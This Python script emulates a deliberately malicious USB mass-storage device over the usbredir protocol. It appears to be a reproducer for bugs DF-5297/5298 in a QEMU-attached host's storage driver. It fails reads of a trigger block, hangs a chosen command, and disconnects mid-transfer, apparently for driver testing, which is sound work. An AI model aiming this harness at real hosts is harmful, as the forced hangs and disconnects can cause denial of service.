DF-5297 / pyevilmsc.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 | #!/usr/bin/env python3 # pyevilmsc.py - evil USB mass-storage device over the usbredir protocol # (peer of QEMU usb-redir). Modes: bbb (DF-5297) / cbi (DF-5298). # # ./pyevilmsc.py <port> <bbb|cbi> [hang_after] [hang_ms] import socket, struct, sys, threading, time SUCCESS, CANCELLED, STALL = 0, 1, 5 P_HELLO, P_DEVCONN, P_DISCONN = 0, 1, 2 P_RESET, P_IFINFO, P_EPINFO = 3, 4, 5 P_SETCFG, P_GETCFG, P_CFGSTAT = 6, 7, 8 P_SETALT, P_GETALT, P_ALTSTAT = 9, 10, 11 P_CANCEL = 21 P_CTRL, P_BULK = 100, 101 MYCAPS = 0x40 | 0x20 | 0x10 | 0x02 # 64-bit ids | epinfo mps | 32-bit bulk len def log(*a): print(*a, file=sys.stderr, flush=True) DEV_DESC = bytes([0x12,0x01,0x00,0x02,0x00,0x00,0x00,0x40, 0x34,0x12,0x78,0x56,0x00,0x02,0x01,0x02,0x03,0x01]) def cfg_desc(cbi): # 9 (config) + 9 (iface) + 7 (ep in) + 7 (ep out) = 32 bytes total b = bytearray(bytes([0x09,0x02,0x20,0x00,0x01,0x01,0x00,0x80,0xFA, 0x09,0x04,0x00,0x00,0x02,0x08,0x06, 0x00 if cbi else 0x50, 0x00, 0x07,0x05,0x81,0x02,0x40,0x00,0x00, 0x07,0x05,0x01,0x02,0x40,0x00,0x00])) assert len(b) == 32 return bytes(b) STR0 = bytes([4,3,0x09,0x04]) STR1 = bytes([16,3]) + b'df-evil'.decode().encode('utf-16-le') def u16le(s): return s.encode('utf-16-le') STR1 = bytes([len(u16le('df-evil'))+2,3]) + u16le('df-evil') STR2 = bytes([len(u16le('evilmsc01'))+2,3]) + u16le('evilmsc01') STR3 = bytes([len(u16le('5297898'))+2,3]) + u16le('5297898') INQ = bytes([0x00,0x80,0x04,0x02,0x1f,0,0,0]) + b'DFEVIL ' + \ b'evilmsc01 ' + bytes([0,0,0,0]) RCBD = bytes([0xff,0xff,0,0,0,0,0x02,0]) PH_IDLE, PH_DATA, PH_CSW = 0, 1, 2 class Dev: def __init__(s, mode, hang_after, hang_ms): s.cbi = mode == 'cbi' s.hang_after, s.hang_ms = hang_after, hang_ms s.ncmd = 0 s.last_failed = 0 s.phase = PH_IDLE s.stage = b'' s.status = 0 s.tag = 0 def sense(s, n, key=2): b = bytearray(n) b[0] = 0x70; b[2] = key; b[7] = 0x0a if key: b[12] = 0x04; b[13] = 0x03 for i in range(18, n): b[i] = 0x40 + (i & 0x3f) return bytes(b) def run(s, cdb): op = cdb[0]; s.status = 0; s.last_failed = 0 if op == 0x00: # TUR: good (probe must finish) s.stage = b''; s.status = 0 elif op == 0x03: # REQUEST SENSE: alloc bytes alloc = cdb[4] if len(cdb) > 4 else 18 s.stage = s.sense(alloc, 2 if s.last_failed else 0) log('[dev] REQ SENSE alloc=%d -> %d bytes' % (alloc, alloc)) elif op == 0x12: # INQUIRY alloc = cdb[4] if len(cdb) > 4 else 36 if cdb[1] & 1: # EVPD serial d = bytearray(32); d[1] = 0x80; d[3] = 8 d[4:12] = b'52970001' s.stage = bytes(d[:max(12, min(alloc, 12))])[:max(alloc,0)] s.stage = bytes(d[:12][:alloc if alloc < 12 else 12]) else: s.stage = INQ[:alloc if alloc < 36 else 36] elif op == 0x25: s.stage = RCBD elif op in (0x28, 0xa8): # READ lba = (cdb[2] << 24) | (cdb[3] << 16) | (cdb[4] << 8) | cdb[5] cnt = ((cdb[7] << 8) | cdb[8]) if op == 0x28 else \ ((cdb[6] << 24)|(cdb[7] << 16)|(cdb[8] << 8)|cdb[9]) if lba == 0x5297: # EVIL TRIGGER LBA s.stage = b''; s.status = 1; s.last_failed = 1 log('[dev] READ(lba 0x5297) -> CHECK COND (evil)') return s.stage = bytes(512 * cnt) else: s.stage = b''; s.status = 1; s.last_failed = 1 log('[dev] op %02x -> illegal' % op) s.phase = PH_DATA if s.stage else PH_CSW def csw(s): return b'USBS' + struct.pack('<II B', s.tag, 0, s.status) class Server: def __init__(s, port, dev): s.dev = dev ls = socket.socket() ls.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) ls.bind(('127.0.0.1', port)); ls.listen(4) while True: log('pyevilmsc: waiting on 127.0.0.1:%d (%s)' % (port, 'cbi' if dev.cbi else 'bbb')) s.sock, addr = ls.accept() s.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) log('connection from %s' % (addr,)) try: s.loop() except EOFError: log('connection closed') except Exception as e: log('error: %r' % (e,)) def send(s, t, i, hdr=b'', data=b''): p = (hdr + data) if getattr(s, 'hdrsz', 12) == 16: w = struct.pack('<IIQ', t, len(p), i) + p else: w = struct.pack('<III', t, len(p), i & 0xffffffff) + p with open('/tmp/opencode/sent.bin', 'ab') as f: f.write(w) s.sock.sendall(w) def rd(s, n): b = b'' while len(b) < n: s.sock.settimeout(300) try: c = s.sock.recv(n - len(b)) except socket.timeout: log('recv timeout after %d/%d bytes (still waiting)' % (len(b), n)) continue if not c: raise EOFError b += c if len(b) <= 80: log('chunk %d bytes: %s' % (len(c), c[:80].hex())) return b def loop(s): s.hdrsz = 12 # hello is always sent with a 32-bit id while True: base = s.rd(s.hdrsz) t, l = struct.unpack('<II', base[:8]) if s.hdrsz == 16: i = struct.unpack('<Q', base[8:16])[0] else: i = struct.unpack('<I', base[8:12])[0] pl = s.rd(l) if l else b'' log('<< t=%d l=%d id=%d' % (t, l, i)) d = s.dev if t == P_HELLO: ver = b'usbredir 0.7-pyevil'.ljust(64, b'\0') s.send(P_HELLO, i, ver + struct.pack('<I', MYCAPS)) # both sides have cap 0x20 -> all later frames carry 64-bit ids s.hdrsz = 16 ii = bytearray(4 + 128) struct.pack_into('<I', ii, 0, 1) # interface_count ii[4] = 0 # interface[0] = 0 ii[4 + 32] = 8 # class[0] = MASS ii[4 + 64] = 6 # subclass[0] = SCSI ii[4 + 96] = 0 if d.cbi else 0x50 # protocol[0] s.send(P_IFINFO, 0, bytes(ii)) eps = bytearray(96 + 64) eps[1] = 2; eps[16+1] = 2 # bulk eps[96+2*1:96+2*2] = struct.pack('<H', 64) eps[96+2*17:96+2*18] = struct.pack('<H', 64) s.send(P_EPINFO, 0, bytes(eps)) s.send(P_DEVCONN, 0, struct.pack('<BBBBHHH', 1,0,0,0, 0x1234,0x5678,0x0200)) log('[dev] connected (mode %s)' % ('cbi' if d.cbi else 'bbb')) elif t in (P_SETCFG, P_GETCFG): s.send(P_CFGSTAT, i, bytes([0, 1])) elif t in (P_SETALT, P_GETALT): s.send(P_ALTSTAT, i, bytes([0, 0, 0])) elif t == P_CTRL: ep, req, rt, st, val, idx, ln = struct.unpack('<BBBBHHH', pl[:10]) data = pl[10:] log('[ctl] rt=%02x r=%02x v=%04x i=%04x l=%d (d%d)' % (rt, req, val, idx, ln, len(data))) hdr = struct.pack('<BBBBHHH', ep, req, rt, SUCCESS, val, idx, 0) if d.cbi and rt == 0x21 and req == 0: if 0 < len(data) <= 16: k = d.ncmd; d.ncmd += 1 if data[0] == 0x28: d.read_idx = getattr(d, 'read_idx', 0) k2 = d.read_idx d.read_idx += 1 log('[cbi] READ10#%d (cmd#%d)' % (k2, k)) k = ('R%d' % k2) log('[cbi] cmd#%s ADSC op=%02x len=%d' % (k, data[0], len(data))) if k == d.hang_after: log('[cbi] EVIL: hang ADSC #%s forever ' '(hang_ms=%s)' % (k, d.hang_ms)) if d.hang_ms: time.sleep(d.hang_ms / 1000.0) s.send(P_DISCONN, 0) log('[cbi] disconnected') time.sleep(0.8) sys.exit(0) time.sleep(3600) # never answer this ADSC s.send(P_CTRL, i, hdr) d.run(data) continue s.send(P_CTRL, i, struct.pack('<BBBBHHH', ep, req, rt, STALL, val, idx, 0)) continue if (not d.cbi) and rt == 0xa1 and req == 0xfe: s.send(P_CTRL, i, struct.pack('<BBBBHHH', ep, req, rt, SUCCESS, val, idx, 1), bytes([0])) continue if rt & 0x80: out = b'' if req == 0x06: dt, di = val >> 8, val & 0xff src = {1: DEV_DESC, 2: cfg_desc(d.cbi), 3: [STR0, STR1, STR2, STR3][di if di < 4 else 3]}.get(dt, b'') out = src[:ln] log('[ctl] GET_DESC t=%02x -> %d' % (dt, len(out))) elif req == 0x08: out = bytes([1]) elif req == 0x0a: out = bytes([0]) elif req == 0x00: out = bytes([0, 0]) s.send(P_CTRL, i, struct.pack('<BBBBHHH', ep, req, rt, SUCCESS, val, idx, len(out)), out) continue if rt == 0x00 and req == 0x09: s.send(P_CTRL, i, b'') continue s.send(P_CTRL, i, struct.pack('<BBBBHHH', ep, req, rt, STALL, val, idx, 0)) elif t == P_BULK: ep, st, ln, stream, lnh = struct.unpack('<BBHIH', pl[:10]) data = pl[10:] if ep == 0x01: # bulk OUT from host if (not d.cbi) and len(data) == 31 and \ data[:4] == b'USBC': d.tag = struct.unpack('<I', data[4:8])[0] clen = min(data[14], 16) log('[bbb] CBW tag=%08x op=%02x (#%d)' % (d.tag, data[15], d.ncmd)) d.ncmd += 1 d.run(data[15:15+clen]) hdr = struct.pack('<BBHIH', ep, SUCCESS, len(data) & 0xffff, 0, len(data) >> 16) s.send(P_BULK, i, hdr) elif ep == 0x81: # bulk IN request req = (ln | (lnh << 16)) or len(data) if d.phase == PH_DATA: out = d.stage[:req] log('[dev] data-in %d bytes' % len(out)) s.send(P_BULK, i, struct.pack('<BBHIH', ep, SUCCESS, len(out) & 0xffff, 0, len(out) >> 16), out) d.phase = PH_CSW else: c = d.csw() log('[dev] CSW st=%d' % d.status) s.send(P_BULK, i, struct.pack('<BBHIH', ep, SUCCESS, 13, 0, 0), c) d.phase = PH_IDLE elif t == P_CANCEL: pass def main(): port = int(sys.argv[1]) if len(sys.argv) > 1 else 7788 mode = sys.argv[2] if len(sys.argv) > 2 else 'bbb' ha = sys.argv[3] if len(sys.argv) > 3 else 999999 if not (isinstance(ha, str) and ha.startswith('R')): try: ha = int(ha) except ValueError: ha = 999999 hm = int(sys.argv[4]) if len(sys.argv) > 4 else 1200 Server(port, Dev(mode, ha, hm)).loop() if __name__ == '__main__': main() |